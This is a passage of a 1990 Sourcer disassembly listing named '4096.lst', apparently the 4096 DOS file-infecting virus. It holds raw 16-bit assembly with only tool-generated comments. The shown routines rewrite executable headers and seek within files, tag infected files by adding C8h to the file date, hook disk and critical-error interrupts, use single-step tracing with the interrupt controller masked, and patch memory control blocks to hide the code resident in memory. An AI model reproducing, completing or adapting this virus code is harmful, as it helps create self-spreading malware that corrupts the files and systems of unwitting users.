  1185. 72F2:0CE0  2E 1B 16 A7 12 78            db    2Eh, 1Bh, 16h, 0A7h, 12h, 78h
  1186. 72F2:0CE6  02 EB                db    2, 0EBh
  1187. 72F2:0CE8  7E                    db    7Eh
  1188. 72F2:0CE9            loc_54:                        ;  xref 72F2:0D6D, 0D83
  1189. 72F2:0CE9  E8 00FA                call    sub_13            ; (0DE6)
  1190. 72F2:0CEC  0E                    push    cs
  1191. 72F2:0CED  1F                    pop    ds
  1192. 72F2:0CEE  8B 16 12A9                mov    dx,ds:data_59e        ; (72F2:12A9=0)
  1193. 72F2:0CF2  8B 0E 12AB                mov    cx,ds:data_60e        ; (72F2:12AB=0)
  1194. 72F2:0CF6  83 C2 0F                add    dx,0Fh
  1195. 72F2:0CF9  83 D1 00                adc    cx,0
  1196. 72F2:0CFC  83 E2 F0                and    dx,0FFF0h
  1197. 72F2:0CFF  81 EA 0FFC                sub    dx,0FFCh
  1198. 72F2:0D03  83 D9 00                sbb    cx,0
  1199. 72F2:0D06  B8 4200                mov    ax,4200h
  1200. 72F2:0D09  E8 02A8                call    sub_24            ; (0FB4)
  1201. 72F2:0D0C  BA 0004                mov    dx,4
  1202. 72F2:0D0F  B9 001C                mov    cx,1Ch
  1203. 72F2:0D12  B4 3F                mov    ah,3Fh            ; '?'
  1204. 72F2:0D14  E8 029D                call    sub_24            ; (0FB4)
  1205. 72F2:0D17  B8 4200                mov    ax,4200h
  1206. 72F2:0D1A  33 C9                xor    cx,cx            ; Zero register
  1207. 72F2:0D1C  8B D1                mov    dx,cx
  1208. 72F2:0D1E  E8 0293                call    sub_24            ; (0FB4)
  1209. 72F2:0D21  BA 0004                mov    dx,4
  1210. 72F2:0D24  B9 001C                mov    cx,1Ch
  1211. 72F2:0D27  B4 40                mov    ah,40h            ; '@'
  1212. 72F2:0D29  E8 0288                call    sub_24            ; (0FB4)
  1213. 72F2:0D2C  BA F000                mov    dx,0F000h
  1214. 72F2:0D2F  B9 FFFF                mov    cx,0FFFFh
  1215. 72F2:0D32  B8 4202                mov    ax,4202h
  1216. 72F2:0D35  E8 027C                call    sub_24            ; (0FB4)
  1217. 72F2:0D38  B4 40                mov    ah,40h            ; '@'
  1218. 72F2:0D3A  33 C9                xor    cx,cx            ; Zero register
  1219. 72F2:0D3C  E8 0275                call    sub_24            ; (0FB4)
  1220. 72F2:0D3F  8B 16 12A5                mov    dx,ds:data_57e        ; (72F2:12A5=0)
  1221. 72F2:0D43  8B 0E 12A7                mov    cx,ds:data_58e        ; (72F2:12A7=0)
  1222. 72F2:0D47  B8 4200                mov    ax,4200h
  1223. 72F2:0D4A  E8 0267                call    sub_24            ; (0FB4)
  1224. 72F2:0D4D  B8 5700                mov    ax,5700h
  1225. 72F2:0D50  E8 0261                call    sub_24            ; (0FB4)
  1226. 72F2:0D53  F6 C6 80                test    dh,80h
  1227. 72F2:0D56  74 09                jz    loc_55            ; Jump if zero
  1228. 72F2:0D58  80 EE C8                sub    dh,0C8h
  1229. 72F2:0D5B  B8 5701                mov    ax,5701h
  1230. 72F2:0D5E  E8 0253                call    sub_24            ; (0FB4)
  1231. 72F2:0D61            loc_55:                        ;  xref 72F2:0D56
  1232. 72F2:0D61  E8 0128                call    sub_14            ; (0E8C)
  1233. 72F2:0D64  E9 F6C8                jmp    loc_10            ; (042F)
  1234. 72F2:0D67            loc_56:
  1235. 72F2:0D67  75 07                jnz    loc_57            ; Jump if not zero
  1236. 72F2:0D69  3B C1                cmp    ax,cx
  1237. 72F2:0D6B  77 03                ja    loc_57            ; Jump if above
  1238. 72F2:0D6D  E9 FF79                jmp    loc_54            ; (0CE9)
  1239. 72F2:0D70            loc_57:                        ;  xref 72F2:0D67, 0D6B
  1240.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 22
  1241.  
  1242. 72F2:0D70  2E:8B 16 12A5            mov    dx,cs:data_57e        ; (72F2:12A5=0)
  1243. 72F2:0D75  2E:8B 0E 12A7            mov    cx,cs:data_58e        ; (72F2:12A7=0)
  1244. 72F2:0D7A  0B C9                or    cx,cx            ; Zero ?
  1245. 72F2:0D7C  75 08                jnz    loc_58            ; Jump if not zero
  1246. 72F2:0D7E  83 FA 1C                cmp    dx,1Ch
  1247. 72F2:0D81  77 03                ja    loc_58            ; Jump if above
  1248. 72F2:0D83  E9 FF63                jmp    loc_54            ; (0CE9)
  1249. 72F2:0D86            loc_58:                        ;  xref 72F2:0D7C, 0D81
  1250. 72F2:0D86  E8 016A                call    sub_19            ; (0EF3)
  1251. 72F2:0D89  E8 0228                call    sub_24            ; (0FB4)
  1252. 72F2:0D8C  E8 0138                call    sub_17            ; (0EC7)
  1253. 72F2:0D8F  B8 5700                mov    ax,5700h
  1254. 72F2:0D92  E8 021F                call    sub_24            ; (0FB4)
  1255. 72F2:0D95  F6 C6 80                test    dh,80h
  1256. 72F2:0D98  75 09                jnz    loc_59            ; Jump if not zero
  1257. 72F2:0D9A  80 C6 C8                add    dh,0C8h
  1258. 72F2:0D9D  B8 5701                mov    ax,5701h
  1259. 72F2:0DA0  E8 0211                call    sub_24            ; (0FB4)
  1260. 72F2:0DA3            loc_59:                        ;  xref 72F2:0D98
  1261. 72F2:0DA3  E9 F710                jmp    loc_12            ; (04B6)
  1262. 72F2:0DA6  E9 F686                jmp    loc_10            ; (042F)
  1263. 72F2:0DA9  2E 8F 06 41 12 2E            db    2Eh, 8Fh, 6, 41h, 12h, 2Eh
  1264. 72F2:0DAF  8F 06 43 12 2E 8F            db    8Fh, 6, 43h, 12h, 2Eh, 8Fh
  1265. 72F2:0DB5  06 DB 12 2E 83 26            db    6, 0DBh, 12h, 2Eh, 83h, 26h
  1266. 72F2:0DBB  DB 12 FE 2E 80 3E            db    0DBh, 12h, 0FEh, 2Eh, 80h, 3Eh
  1267. 72F2:0DC1  DA 12 00 75 11 2E            db    0DAh, 12h, 0, 75h, 11h, 2Eh
  1268. 72F2:0DC7  FF 36 DB 12 2E FF            db    0FFh, 36h, 0DBh, 12h, 2Eh, 0FFh
  1269. 72F2:0DCD  1E 2D 12 73 06 2E            db    1Eh, 2Dh, 12h, 73h, 6, 2Eh
  1270. 72F2:0DD3  FE 06 DA 12 F9 2E            db    0FEh, 6, 0DAh, 12h, 0F9h, 2Eh
  1271. 72F2:0DD9  FF 2E 41 12 32 C0            db    0FFh, 2Eh, 41h, 12h, 32h, 0C0h
  1272. 72F2:0DDF  2E C6 06 DA 12 01            db    2Eh, 0C6h, 6, 0DAh, 12h, 1
  1273. 72F2:0DE5  CF                    db    0CFh
  1274.   
  1275.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1276.                 ;                   SUBROUTINE
  1277.                 ;
  1278.                 ;         Called from:     72F2:08B3, 0A9E, 0CE9
  1279.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1280.   
  1281.                 sub_13        proc    near
  1282. 72F2:0DE6  2E:C6 06 12DA 00            mov    byte ptr cs:data_65e,0    ; (72F2:12DA=0)
  1283. 72F2:0DEC  E8 0120                call    sub_21            ; (0F0F)
  1284. 72F2:0DEF  0E                    push    cs
  1285. 72F2:0DF0  1F                    pop    ds
  1286. 72F2:0DF1  B0 13                mov    al,13h
  1287. 72F2:0DF3  E8 F3BF                call    sub_1            ; (01B5)
  1288. 72F2:0DF6  89 1E 122D                mov    ds:data_41e,bx        ; (72F2:122D=0)
  1289. 72F2:0DFA  8C 06 122F                mov    ds:data_42e,es        ; (72F2:122F=0)
  1290. 72F2:0DFE  89 1E 1239                mov    ds:data_46e,bx        ; (72F2:1239=0)
  1291. 72F2:0E02  8C 06 123B                mov    ds:data_47e,es        ; (72F2:123B=0)
  1292. 72F2:0E06  B2 00                mov    dl,0
  1293. 72F2:0E08  B0 0D                mov    al,0Dh
  1294. 72F2:0E0A  E8 F3A8                call    sub_1            ; (01B5)
  1295. 72F2:0E0D  8C C0                mov    ax,es
  1296. 72F2:0E0F  3D C000                cmp    ax,0C000h
  1297. 72F2:0E12  73 02                jae    loc_60            ; Jump if above or =
  1298. 72F2:0E14  B2 02                mov    dl,2
  1299.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 23
  1300.  
  1301. 72F2:0E16            loc_60:                        ;  xref 72F2:0E12
  1302. 72F2:0E16  B0 0E                mov    al,0Eh
  1303. 72F2:0E18  E8 F39A                call    sub_1            ; (01B5)
  1304. 72F2:0E1B  8C C0                mov    ax,es
  1305. 72F2:0E1D  3D C000                cmp    ax,0C000h
  1306. 72F2:0E20  73 02                jae    loc_61            ; Jump if above or =
  1307. 72F2:0E22  B2 02                mov    dl,2
  1308. 72F2:0E24            loc_61:                        ;  xref 72F2:0E20
  1309. 72F2:0E24  88 16 1250                mov    ds:data_53e,dl        ; (72F2:1250=0)
  1310. 72F2:0E28  E8 0111                call    sub_22            ; (0F3C)
  1311. 72F2:0E2B  8C 16 12DD                mov    ds:data_66e,ss        ; (72F2:12DD=0)
  1312. 72F2:0E2F  89 26 12DF                mov    ds:data_67e,sp        ; (72F2:12DF=0)
  1313. 72F2:0E33  0E                    push    cs
  1314. 72F2:0E34  B8 0D40                mov    ax,0D40h
  1315. 72F2:0E37  50                    push    ax
  1316. 72F2:0E38  B8 0070                mov    ax,70h
  1317. 72F2:0E3B  8E C0                mov    es,ax
  1318. 72F2:0E3D  B9 FFFF                mov    cx,0FFFFh
  1319. 72F2:0E40  B0 CB                mov    al,0CBh
  1320. 72F2:0E42  33 FF                xor    di,di            ; Zero register
  1321. 72F2:0E44  F2/AE                repne    scasb            ; Rept zf=0+cx>0 Scan es:[di] for al
  1322. 72F2:0E46  4F                    dec    di
  1323. 72F2:0E47  9C                    pushf                ; Push flags
  1324. 72F2:0E48  06                    push    es
  1325. 72F2:0E49  57                    push    di
  1326. 72F2:0E4A  9C                    pushf                ; Push flags
  1327. 72F2:0E4B  58                    pop    ax
  1328. 72F2:0E4C  80 CC 01                or    ah,1
  1329. 72F2:0E4F  50                    push    ax
  1330. 72F2:0E50  E4 21                in    al,21h            ; port 21h, 8259-1 int IMR
  1331. 72F2:0E52  A2 12E5                mov    ds:data_70e,al        ; (72F2:12E5=0)
  1332. 72F2:0E55  B0 FF                mov    al,0FFh
  1333. 72F2:0E57  E6 21                out    21h,al            ; port 21h, 8259-1 int comands
  1334. 72F2:0E59  9D                    popf                ; Pop flags
  1335. 72F2:0E5A  33 C0                xor    ax,ax            ; Zero register
  1336. 72F2:0E5C  FF 2E 122D                jmp    dword ptr ds:data_41e    ; (72F2:122D=0)
  1337. 72F2:0E60            loc_62:                        ;  xref 72F2:0184
  1338. 72F2:0E60  C5 16 1231                lds    dx,dword ptr ds:data_43e    ; (72F2:1231=0) Load 32 bit ptr
  1339. 72F2:0E64  B0 01                mov    al,1
  1340. 72F2:0E66  E8 0253                call    sub_26            ; (10BC)
  1341. 72F2:0E69  0E                    push    cs
  1342. 72F2:0E6A  1F                    pop    ds
  1343. 72F2:0E6B  BA 0C89                mov    dx,0C89h
  1344. 72F2:0E6E  B0 13                mov    al,13h
  1345. 72F2:0E70  E8 0249                call    sub_26            ; (10BC)
  1346. 72F2:0E73  B0 24                mov    al,24h            ; '$'
  1347. 72F2:0E75  E8 F33D                call    sub_1            ; (01B5)
  1348. 72F2:0E78  89 1E 123D                mov    ds:data_48e,bx        ; (72F2:123D=0)
  1349. 72F2:0E7C  8C 06 123F                mov    ds:data_49e,es        ; (72F2:123F=0)
  1350. 72F2:0E80  BA 0CBD                mov    dx,0CBDh
  1351. 72F2:0E83  B0 24                mov    al,24h            ; '$'
  1352. 72F2:0E85  E8 0234                call    sub_26            ; (10BC)
  1353. 72F2:0E88  E8 007B                call    sub_20            ; (0F06)
  1354. 72F2:0E8B  C3                    retn
  1355.                 sub_13        endp
  1356.   
  1357.   
  1358.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 24
  1359.  
  1360.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1361.                 ;                   SUBROUTINE
  1362.                 ;
  1363.                 ;         Called from:     72F2:0971, 0AFB, 0B02, 0D61
  1364.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1365.   
  1366.                 sub_14        proc    near
  1367. 72F2:0E8C            loc_63:
  1368. 72F2:0E8C  E8 0080                call    sub_21            ; (0F0F)
  1369. 72F2:0E8F  2E:C5 16 1239            lds    dx,dword ptr cs:data_46e    ; (72F2:1239=0) Load 32 bit ptr
  1370. 72F2:0E94  B0 13                mov    al,13h
  1371. 72F2:0E96  E8 0223                call    sub_26            ; (10BC)
  1372. 72F2:0E99  2E:C5 16 123D            lds    dx,dword ptr cs:data_48e    ; (72F2:123D=0) Load 32 bit ptr
  1373. 72F2:0E9E  B0 24                mov    al,24h            ; '$'
  1374. 72F2:0EA0  E8 0219                call    sub_26            ; (10BC)
  1375. 72F2:0EA3  E8 0060                call    sub_20            ; (0F06)
  1376. 72F2:0EA6  C3                    retn
  1377.                 sub_14        endp
  1378.   
  1379.   
  1380.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1381.                 ;                   SUBROUTINE
  1382.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1383.   
  1384.                 sub_15        proc    near
  1385. 72F2:0EA7  B8 3300                mov    ax,3300h
  1386. 72F2:0EAA  E8 0107                call    sub_24            ; (0FB4)
  1387. 72F2:0EAD  2E:88 16 12E1            mov    cs:data_68e,dl        ; (72F2:12E1=0)
  1388. 72F2:0EB2  B8 3301                mov    ax,3301h
  1389. 72F2:0EB5  32 D2                xor    dl,dl            ; Zero register
  1390. 72F2:0EB7  E8 00FA                call    sub_24            ; (0FB4)
  1391. 72F2:0EBA  C3                    retn
  1392.                 sub_15        endp
  1393.   
  1394.   
  1395.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1396.                 ;                   SUBROUTINE
  1397.                 ;
  1398.                 ;         Called from:     72F2:042F, 0462, 07A7
  1399.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1400.   
  1401.                 sub_16        proc    near
  1402. 72F2:0EBB  2E:8A 16 12E1            mov    dl,cs:data_68e        ; (72F2:12E1=0)
  1403. 72F2:0EC0  B8 3301                mov    ax,3301h
  1404. 72F2:0EC3  E8 00EE                call    sub_24            ; (0FB4)
  1405. 72F2:0EC6  C3                    retn
  1406.                 sub_16        endp
  1407.   
  1408.   
  1409.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1410.                 ;                   SUBROUTINE
  1411.                 ;
  1412.                 ;         Called from:     72F2:0502, 081D, 0D8C
  1413.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1414.   
  1415.                 sub_17        proc    near
  1416. 72F2:0EC7  2E:8F 06 12EA            pop    word ptr cs:data_73e    ; (72F2:12EA=0)
  1417.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 25
  1418.  
  1419. 72F2:0ECC  9C                    pushf                ; Push flags
  1420. 72F2:0ECD  50                    push    ax
  1421. 72F2:0ECE  53                    push    bx
  1422. 72F2:0ECF  51                    push    cx
  1423. 72F2:0ED0  52                    push    dx
  1424. 72F2:0ED1  56                    push    si
  1425. 72F2:0ED2  57                    push    di
  1426. 72F2:0ED3  1E                    push    ds
  1427. 72F2:0ED4  06                    push    es
  1428. 72F2:0ED5  2E:FF 26 12EA            jmp    word ptr cs:data_73e    ; (72F2:12EA=0)
  1429.   
  1430.                 ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1431.                 ;
  1432.                 ;         Called from:     72F2:01A3, 0465, 07AA
  1433.   
  1434.                 sub_18:
  1435. 72F2:0EDA  2E:C4 3E 1235            les    di,dword ptr cs:data_45e    ; (72F2:1235=0) Load 32 bit ptr
  1436. 72F2:0EDF  BE 124B                mov    si,124Bh
  1437. 72F2:0EE2  0E                    push    cs
  1438. 72F2:0EE3  1F                    pop    ds
  1439. 72F2:0EE4  FC                    cld                ; Clear direction
  1440. 72F2:0EE5  B9 0005                mov    cx,5
  1441.   
  1442. 72F2:0EE8            locloop_64:                    ;  xref 72F2:0EF0
  1443. 72F2:0EE8  AC                    lodsb                ; String [si] to al
  1444. 72F2:0EE9  26:86 05                xchg    al,es:[di]
  1445. 72F2:0EEC  88 44 FF                mov    [si-1],al
  1446. 72F2:0EEF  47                    inc    di
  1447. 72F2:0EF0  E2 F6                loop    locloop_64        ; Loop if cx > 0
  1448.   
  1449. 72F2:0EF2  C3                    retn
  1450.                 sub_17        endp
  1451.   
  1452.   
  1453.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1454.                 ;                   SUBROUTINE
  1455.                 ;
  1456.                 ;         Called from:     72F2:044B, 04B6, 04FF, 0817, 0D86
  1457.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1458.   
  1459.                 sub_19        proc    near
  1460. 72F2:0EF3  2E:8F 06 12EA            pop    word ptr cs:data_73e    ; (72F2:12EA=0)
  1461. 72F2:0EF8  07                    pop    es
  1462. 72F2:0EF9  1F                    pop    ds
  1463. 72F2:0EFA  5F                    pop    di
  1464. 72F2:0EFB  5E                    pop    si
  1465. 72F2:0EFC  5A                    pop    dx
  1466. 72F2:0EFD  59                    pop    cx
  1467. 72F2:0EFE  5B                    pop    bx
  1468. 72F2:0EFF  58                    pop    ax
  1469. 72F2:0F00  9D                    popf                ; Pop flags
  1470. 72F2:0F01  2E:FF 26 12EA            jmp    word ptr cs:data_73e    ; (72F2:12EA=0)
  1471.   
  1472.                 ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1473.                 ;
  1474.                 ;         Called from:     72F2:01B0, 0468, 07AD, 0A87, 0A8C, 0B5D, 0E88
  1475.                 ;                  0EA3
  1476.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 26
  1477.  
  1478.   
  1479.                 sub_20:
  1480. 72F2:0F06  2E:C7 06 135D 0DD3            mov    word ptr cs:data_84e,0DD3h    ; (72F2:135D=0)
  1481. 72F2:0F0D  EB 07                jmp    short loc_65        ; (0F16)
  1482.   
  1483.                 ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1484.                 ;
  1485.                 ;         Called from:     72F2:01A0, 045F, 07A4, 0A39, 0A45, 0B24, 0DEC
  1486.                 ;                  0E8C
  1487.   
  1488.                 sub_21:
  1489. 72F2:0F0F  2E:C7 06 135D 0DA7            mov    word ptr cs:data_84e,0DA7h    ; (72F2:135D=0)
  1490. 72F2:0F16            loc_65:                        ;  xref 72F2:0F0D
  1491. 72F2:0F16  2E:8C 16 1359            mov    cs:data_82e,ss        ; (72F2:1359=0)
  1492. 72F2:0F1B  2E:89 26 1357            mov    cs:data_81e,sp        ; (72F2:1357=0)
  1493. 72F2:0F20  0E                    push    cs
  1494. 72F2:0F21  17                    pop    ss
  1495. 72F2:0F22  2E:8B 26 135B            mov    sp,cs:data_83e        ; (72F2:135B=0)
  1496. 72F2:0F27  2E:FF 16 135D            call    word ptr cs:data_84e    ; (72F2:135D=0)
  1497. 72F2:0F2C  2E:89 26 135B            mov    cs:data_83e,sp        ; (72F2:135B=0)
  1498. 72F2:0F31  2E:8E 16 1359            mov    ss,cs:data_82e        ; (72F2:1359=0)
  1499. 72F2:0F36  2E:8B 26 1357            mov    sp,cs:data_81e        ; (72F2:1357=0)
  1500. 72F2:0F3B  C3                    retn
  1501.                 sub_19        endp
  1502.   
  1503.   
  1504.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1505.                 ;                   SUBROUTINE
  1506.                 ;
  1507.                 ;         Called from:     72F2:0448, 0E28
  1508.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1509.   
  1510.                 sub_22        proc    near
  1511. 72F2:0F3C  B0 01                mov    al,1
  1512. 72F2:0F3E  E8 F274                call    sub_1            ; (01B5)
  1513. 72F2:0F41  2E:89 1E 1231            mov    cs:data_43e,bx        ; (72F2:1231=0)
  1514. 72F2:0F46  2E:8C 06 1233            mov    word ptr cs:data_43e+2,es    ; (72F2:1233=0)
  1515. 72F2:0F4B  0E                    push    cs
  1516. 72F2:0F4C  1F                    pop    ds
  1517. 72F2:0F4D  BA 0023                mov    dx,23h
  1518. 72F2:0F50  E8 0169                call    sub_26            ; (10BC)
  1519. 72F2:0F53  C3                    retn
  1520.                 sub_22        endp
  1521.   
  1522. 72F2:0F54  E8 03 00 E9 D5 F4            db    0E8h, 3, 0, 0E9h, 0D5h, 0F4h
  1523.   
  1524.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1525.                 ;                   SUBROUTINE
  1526.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1527.   
  1528.                 sub_23        proc    near
  1529. 72F2:0F5A  2E:80 3E 12E2 00            cmp    byte ptr cs:data_69e,0    ; (72F2:12E2=0)
  1530. 72F2:0F60  74 48                je    loc_ret_67        ; Jump if equal
  1531. 72F2:0F62  83 FB FF                cmp    bx,0FFFFh
  1532. 72F2:0F65  75 43                jne    loc_ret_67        ; Jump if not equal
  1533. 72F2:0F67  BB 0160                mov    bx,160h
  1534. 72F2:0F6A  E8 0047                call    sub_24            ; (0FB4)
  1535.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 27
  1536.  
  1537. 72F2:0F6D  72 3B                jc    loc_ret_67        ; Jump if carry Set
  1538. 72F2:0F6F  8C CA                mov    dx,cs
  1539. 72F2:0F71  3B C2                cmp    ax,dx
  1540. 72F2:0F73  72 09                jb    loc_66            ; Jump if below
  1541. 72F2:0F75  8E C0                mov    es,ax
  1542. 72F2:0F77  B4 49                mov    ah,49h            ; 'I'
  1543. 72F2:0F79  E8 0038                call    sub_24            ; (0FB4)
  1544. 72F2:0F7C  EB 2C                jmp    short loc_ret_67    ; (0FAA)
  1545. 72F2:0F7E            loc_66:                        ;  xref 72F2:0F73
  1546. 72F2:0F7E  4A                    dec    dx
  1547. 72F2:0F7F  8E DA                mov    ds,dx
  1548. 72F2:0F81  C7 06 0001 0000            mov    word ptr ds:data_16e,0    ; (72F1:0001=0FFFFh)
  1549. 72F2:0F87  42                    inc    dx
  1550. 72F2:0F88  8E DA                mov    ds,dx
  1551. 72F2:0F8A  8E C0                mov    es,ax
  1552. 72F2:0F8C  50                    push    ax
  1553. 72F2:0F8D  2E:A3 124E                mov    cs:data_52e,ax        ; (72F2:124E=0)
  1554. 72F2:0F91  33 F6                xor    si,si            ; Zero register
  1555. 72F2:0F93  8B FE                mov    di,si
  1556. 72F2:0F95  B9 0B00                mov    cx,0B00h
  1557. 72F2:0F98  F3/A5                rep    movsw            ; Rep while cx>0 Mov [si] to es:[di]
  1558. 72F2:0F9A  48                    dec    ax
  1559. 72F2:0F9B  8E C0                mov    es,ax
  1560. 72F2:0F9D  2E:A1 1249                mov    ax,cs:data_51e        ; (72F2:1249=0)
  1561. 72F2:0FA1  26:A3 0001                mov    es:data_15e,ax        ; (48FF:0001=0FFFFh)
  1562. 72F2:0FA5  B8 0E8A                mov    ax,0E8Ah
  1563. 72F2:0FA8  50                    push    ax
  1564. 72F2:0FA9  CB                    retf                ; Return far
  1565.   
  1566. 72F2:0FAA            loc_ret_67:                    ;  xref 72F2:0F60, 0F65, 0F6D, 0F7C
  1567. 72F2:0FAA  C3                    retn
  1568.                 sub_23        endp
  1569.   
  1570. 72F2:0FAB  2E C6 06 F0 12 02            db    2Eh, 0C6h, 6, 0F0h, 12h, 2
  1571. 72F2:0FB1  E9 7B F4                db    0E9h, 7Bh, 0F4h
  1572.   
  1573.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1574.                 ;                   SUBROUTINE
  1575.                 ;
  1576.                 ;         Called from:     72F2:0505, 0568, 06A4, 0753, 07A1, 081A, 096E
  1577.                 ;                  097A, 098C, 0996, 09A0, 09AA, 09B4, 09DA
  1578.                 ;                  09E4, 09F3, 09FF, 0A15, 0A2D, 0A94, 0AA9
  1579.                 ;                  0ABF, 0ACB, 0AD9, 0AE5, 0AF0, 0B0C, 0B1A
  1580.                 ;                  0B2E, 0B41, 0B5A, 0BA1, 0C30, 0C79, 0C8A
  1581.                 ;                  0CA4, 0D09, 0D14, 0D1E, 0D29, 0D35, 0D3C
  1582.                 ;                  0D4A, 0D50, 0D5E, 0D89, 0D92, 0DA0, 0EAA
  1583.                 ;                  0EB7, 0EC3, 0F6A, 0F79
  1584.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1585.   
  1586.                 sub_24        proc    near
  1587. 72F2:0FB4  9C                    pushf                ; Push flags
  1588. 72F2:0FB5  2E:FF 1E 1235            call    dword ptr cs:data_45e    ; (72F2:1235=0)
  1589. 72F2:0FBA  C3                    retn
  1590.                 sub_24        endp
  1591.   
  1592. 72F2:0FBB  FA 33 C0 8E D0 BC            db    0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh
